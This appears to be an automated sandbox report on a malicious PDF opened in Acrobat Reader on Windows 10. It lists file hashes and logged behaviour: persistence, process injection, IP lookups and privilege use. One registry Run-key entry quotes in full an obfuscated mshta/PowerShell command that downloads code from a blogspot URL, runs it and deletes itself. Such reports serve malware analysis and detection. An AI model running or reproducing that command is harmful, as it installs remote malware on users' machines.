C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	af36217be71c7b6768152075afd7c2b5
SHA1	c5b148b4b7387c9afa71b1a4dd7bd547ce8acc2e
SHA256	aaf24ea85b851cdd596216bd2cc8bb269dc1594300db734ae9865e12cfdc98e4
SHA512	e3ca02170570fa908c4cc95c469c4965b0780319c52c134dba508c036a68a501a7e3919c86c36b6a6a9c440c676c513f8eef3c041dea2ce9f6d7af43e8f42ce3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	d0851e591711f8194d7da7ea6dd7939e
SHA1	c4cf87666a63d594708b614d07d94a361a11ef9f
SHA256	324b3985f4ff6fe95123178cc823589ee174d33e66f9ad24271e4b5661f302e7
SHA512	a5beb0b0a6c6ab2ce8a155cef95b5dd424249bd78c77e40e77b475351b2ede196c083182f60146996c10da68c555359913cf5f60437e07a6b076d0372696ce3b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	7c19b8588f5fa7e473e8f72e75e992a5
SHA1	f03586b87c2ca048990255e03d2ae1c1de508278
SHA256	c08792ef4d21cd42a845a07007d061bc9856781de0c51b0580ef4601605c0159
SHA512	22f11cfb41233900cc2b5cb8ce6bbe23bc01c101997011462e928de5c36770dbfc3b00b1033fe35ac182f5575b383287c6646dacd6d97c18ddccd8e10e641d34

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	7292d14e2609495024a2b83aa92f3e4c
SHA1	4f629d692b371767c36fceb850ecc921f58ff537
SHA256	d1cde3e0dfd757be03c10163ef38ab8d2e607e8372c4eeb5b44c2ea1ff28b8b6
SHA512	e1c705d6842aad31a5b17d963877f91b8901dad1b541f87f73403165b8c6cd7b5a0b2abbe4d8ed30397ec5ea1c2b6a2febf69e939624b23c531442e21b4570df

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	d112f5cecbc35dd561223978df7eba06
SHA1	3adf16147b18317593f6e30fd8b6517f974e1b7f
SHA256	a97ca2cfb1480c9ff642fe0917d8eceddc43b294d67a3a07c7e392112f24562d
SHA512	fc04de4a0415b1851fbfb167b2a08c1a3f9e6f69607159aee4fb7a2a03a6e29250b9b70df3a2a72ac636dc264f5024a012f6322ab76e29626f50b59378856623

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	f18a43b8982fd3df907795c181b5dec3
SHA1	e341a957e2a7828e140322f01e47cfe9b4b63f49
SHA256	d0e9cb452654b26cb40130fb7c6e45fd47179d484871ea6e582122053e9cc464
SHA512	6f49026d01de0fe09db2f6e60e456b82d6c11bef971406e46461ca843af18e71e648cbda1eae1577c2da787bcc2c4909b27afb84a8215df33046abc524daffc3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	27f2f0a116d7b5afc93440229d3fc515
SHA1	1bbe422b1dcd2dca13335bed51eabf884e368cf7
SHA256	5a366a8757bd6136bf2e6835a49e9afe3449848e9eb8cf13449db1283a7d735e
SHA512	e7a61208d4bd0364f5bd3aa59421de8592037320cec641640e37e177e1b714c541e253774f940b7a779539ec206e4b4be45296b37983d7295d68d23d7be3ee5e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	2f78c1cd1029ad689662e69e4ae4f73f
SHA1	6f0f23fc85f9daedda11a5de4e1a89eb3651e645
SHA256	4b72a74c62126f4842f63e54625558ea8b398401fa043028c475df36e91e8a7a
SHA512	db20d0c7cce2f2b84acc68ed6942f4cc54e95c7bce83714103cd3d210bd7285b0ac42c557c10f692da38caceb86dc476580b24ea4dab2b24f244d3015ab3c7f8

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	7c479cebd944503031f8b0e03e3fa0be
SHA1	ffec90d5de43350fa8fb4866350e0364e397a08b
SHA256	fd8195019b046a9e7ef59a54f78c19290659aaaa52f39611b864c4ffe3bf923f
SHA512	9c1a01b37a9031cc7a7bbe81a5ce12779ff61a04385b175f280bafe7fd3153acf6da3db38275a737d35833de710ea9bd4ddae06c6353eb2cc29cce61fcbb752d

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\jszip.min[1].js

MD5	cb96c77f2c57e474a42dda919bcd6c1b
SHA1	4793ecc7df0fdf25711bc1f330625c6131e2d866
SHA256	c9e4a52bac18aee4f3f90d05fbca603f5b0f5bf1ce8c45e60bb4ed3a2cb2ed86
SHA512	c5005062df547206e517a68232bc14d4d91503b1c25da48dda8ab4b28f3428efb2ebc33e9fae0539caa06afe228077ba0f939b04b21febc0d6bfe81f068c1cce

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 09:07

Reported

2024-05-31 09:10

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\08270f88cc3fd413d6eb29852599e9599362da87b8ba2b29196f3f1f76baf1fc.pdf"

Signatures

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	C:\Windows\System32\WScript.exe	N/A

Obfuscated with Agile.Net obfuscator

agilenet

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Drakei2 = "mshta \"javascript:sr=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm minecap28may.blogspot.com/hehehe \| iex);Start-Sleep -Seconds 5;','run']; fp=[sr[3],sr[0],sr[1],sr[2]]; new ActiveXObject(fp[2])[fp[0]](fp[3], 0, true);close();new ActiveXObject(fp[1]).DeleteFile(WScript.ScriptFullName);\"\n"	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Drakeneio1 = "schtasks /run /tn Drakeneio1"	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	cloudflare-ipfs.com	N/A	N/A
N/A	cloudflare-ipfs.com	N/A	N/A
N/A	bitbucket.org	N/A	N/A
N/A	bitbucket.org	N/A	N/A

Looks up external IP address via web service

Description	Indicator	Process	Target
N/A	api.ipify.org	N/A	N/A
N/A	api.ipify.org	N/A	N/A
N/A	ip-api.com	N/A	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4060 set thread context of 2972	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4060 set thread context of 2964	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4060 set thread context of 2832	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 4060 set thread context of 3724	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
PID 4060 set thread context of 2640	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
PID 4060 set thread context of 3208	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A

Enumerates system info in registry

Description	Indicator	Process	Target
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A

NTFS ADS

Description	Indicator	Process	Target
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 966272.crdownload:SmartScreen	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 781119.crdownload:SmartScreen	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 33	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 34	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 35	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 36	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 33	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 34	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 35	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: 36	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
